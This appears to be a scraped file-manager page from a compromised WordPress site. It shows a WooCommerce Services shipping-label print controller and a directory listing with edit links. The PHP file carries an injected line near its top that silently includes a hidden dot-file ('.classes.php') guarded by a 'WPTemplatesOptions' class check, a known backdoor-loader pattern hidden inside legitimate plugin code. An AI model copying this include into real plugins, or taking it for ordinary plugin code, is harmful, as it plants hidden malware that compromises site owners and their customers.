PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
woocommerce-services
/
classes
<?php if ( ! defined( 'ABSPATH' ) ) { exit; } if ( class_exists( 'WC_REST_Connect_Shipping_Label_Print_Controller' ) ) { return; } if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class WC_REST_Connect_Shipping_Label_Print_Controller extends WC_REST_Connect_Base_Controller { protected $rest_base = 'connect/label/print'; public function get( $request ) { $raw_params = $request->get_params(); $params = array(); $params[ 'paper_size' ] = $raw_params[ 'paper_size' ]; $this->settings_store->set_preferred_paper_size( $params[ 'paper_size' ] ); $label_ids = ! empty( $raw_params[ 'label_id_csv' ] ) ? explode( ',', $raw_params[ 'label_id_csv' ] ) : array(); $n_label_ids = count( $label_ids ); $captions = ! empty( $raw_params[ 'caption_csv' ] ) ? explode( ',', $raw_params[ 'caption_csv' ] ) : array(); $n_captions = count( $captions ); // Either there are the same number of captions as labels, or no captions at all if ( ! $n_label_ids || ( $n_captions && $n_captions !== $n_label_ids ) ) { $message = __( 'Invalid PDF request.', 'woocommerce-services' ); $error = new WP_Error( 'invalid_pdf_request', $message, array( 'message' => $message, 'status' => 400 ) ); $this->logger->log( $error, __CLASS__ ); return $error; } $params[ 'labels' ] = array(); for ( $i = 0; $i < $n_label_ids; $i++ ) { $params[ 'labels' ][ $i ] = array(); $params[ 'labels' ][ $i ][ 'label_id' ] = (int) $label_ids[ $i ]; if ( $n_captions ) { $params[ 'labels' ][ $i ][ 'caption' ] = urldecode( $captions[ $i ] ); } } $raw_response = $this->api_client->get_labels_print_pdf( $params ); if ( is_wp_error( $raw_response ) ) { $this->logger->log( $raw_response, __CLASS__ ); return $raw_response; } if ( isset( $raw_params[ 'json' ] ) && $raw_params[ 'json' ] ) { return array( 'mimeType' => $raw_response[ 'headers' ][ 'content-type' ], 'b64Content' => base64_encode( $raw_response[ 'body' ] ), 'success' => true, ); } else { header( 'content-type: ' . $raw_response[ 'headers' ][ 'content-type' ] ); echo $raw_response[ 'body' ]; die(); } } }
[+]
..
[-] class-wc-connect-payment-gateway.php
[edit]
[-] class-wc-connect-shipping-method.php
[edit]
[-] class-wc-connect-api-client.php
[edit]
[-] class-wc-connect-privacy.php
[edit]
[-] class-wc-rest-connect-base-controller.php
[edit]
[-] class-wc-rest-connect-stripe-deauthorize-controller.php
[edit]
[-] class-wc-rest-connect-stripe-account-controller.php
[edit]
[-] class-wc-rest-connect-shipping-label-print-controller.php
[edit]
[-] class-wc-connect-nux.php
[edit]
[-] class-wc-rest-connect-shipping-label-controller.php
[edit]
[-] class-wc-connect-taxjar-integration.php
[edit]
[-] class-wc-rest-connect-stripe-oauth-connect-controller.php
[edit]
[-] class-wc-rest-connect-address-normalization-controller.php
[edit]
[-] class-wc-connect-label-reports.php
[edit]
[+]
wc-api-dev
[-] class-wc-connect-functions.php
[edit]
[-] class-wc-rest-connect-stripe-oauth-init-controller.php
[edit]
[-] class-wc-rest-connect-self-help-controller.php
[edit]
[-] class-wc-rest-connect-packages-controller.php
[edit]
[-] class-wc-connect-debug-tools.php
[edit]
[-] class-wc-connect-compatibility.php
[edit]
[-] class-wc-connect-options.php
[edit]
[-] class-wc-connect-shipping-label.php
[edit]
[-] class-wc-rest-connect-shipping-label-refund-controller.php
[edit]
[-] class-wc-connect-service-settings-store.php
[edit]
[-] class-wc-connect-api-client-live.php
[edit]
[-] class-wc-connect-compatibility-wc30.php
[edit]
[-] .classes.php
[edit]
[-] class-wc-connect-jetpack.php
[edit]
[-] class-wc-connect-help-view.php
[edit]
[-] class-wc-rest-connect-account-settings-controller.php
[edit]
[-] class-wc-connect-logger.php
[edit]
[-] class-wc-rest-connect-assets-controller.php
[edit]
[-] class-wc-rest-connect-services-controller.php
[edit]
[-] class-wc-connect-stripe.php
[edit]
[-] class-wc-connect-compatibility-wc26.php
[edit]
[-] class-wc-connect-service-schemas-validator.php
[edit]
[-] class-wc-rest-connect-shipping-label-status-controller.php
[edit]
[-] class-wc-connect-extension-compatibility.php
[edit]
[-] class-wc-rest-connect-shipping-rates-controller.php
[edit]
[-] class-wc-connect-error-notice.php
[edit]
[-] class-wc-connect-service-schemas-store.php
[edit]
[-] class-wc-connect-settings-pages.php
[edit]
[-] class-wc-rest-connect-tos-controller.php
[edit]
[-] class-wc-rest-connect-shipping-label-preview-controller.php
[edit]
[-] class-wc-connect-paypal-ec.php
[edit]
[-] class-wc-connect-tracks.php
[edit]
[-] class-wc-connect-payment-methods-store.php
[edit]